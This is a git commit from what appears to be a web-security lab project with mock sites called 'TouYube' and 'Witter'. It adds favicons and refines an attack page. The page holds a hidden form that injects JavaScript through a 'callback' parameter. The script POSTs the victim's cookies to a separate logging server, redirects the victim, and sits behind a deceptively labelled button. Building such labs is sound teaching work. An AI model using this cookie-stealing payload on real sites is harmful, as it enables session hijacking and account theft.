added favicon and improved the attack
This commit is contained in:
parent
44833f745d
commit
57fba043aa
5 changed files with 8 additions and 1 deletions
BIN
TouYube/apps/TouYube/static/TouYube/favicon.png
Normal file
BIN
TouYube/apps/TouYube/static/TouYube/favicon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 43 KiB |
|
@ -1,8 +1,10 @@
|
|||
{% load static %}
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
{% block head %}
|
||||
<meta charset="UTF-8">
|
||||
<link rel="shortcut icon" type="image/png" href="{% static 'TouYube/favicon.png' %}"/>
|
||||
<title>{% block title %}TouYube{% endblock %}</title>
|
||||
{% endblock %}
|
||||
</head>
|
||||
|
|
BIN
Witter/apps/Witter/static/Witter/favicon.png
Normal file
BIN
Witter/apps/Witter/static/Witter/favicon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 101 KiB |
|
@ -1,8 +1,10 @@
|
|||
{% load static %}
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
{% block head %}
|
||||
<meta charset="UTF-8">
|
||||
<link rel="shortcut icon" type="image/png" href="{% static 'TouYube/favicon.png' %}"/>
|
||||
<title>{% block title %}Witter{% endblock %}</title>
|
||||
{% endblock %}
|
||||
</head>
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
|
||||
<form id="attack-form" action="http://localhost:8080/callback/" method="GET">
|
||||
<input type="hidden" name="callback" value="
|
||||
{# once the victim is calling the callback, send his cookies to this URL #}
|
||||
fetch('http://localhost:8081/logs/', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({
|
||||
|
@ -14,7 +15,9 @@
|
|||
headers: {
|
||||
'Content-type': 'application/json; charset=UTF-8'
|
||||
}
|
||||
})
|
||||
});
|
||||
{# redirect the user to the homepage #}
|
||||
document.location.href='http://localhost:8080/';
|
||||
">
|
||||
|
||||
<input type="submit" value="I am a very safe button that will not obtain your cookies 😊">
|
||||
|
|
Loading…
Reference in a new issue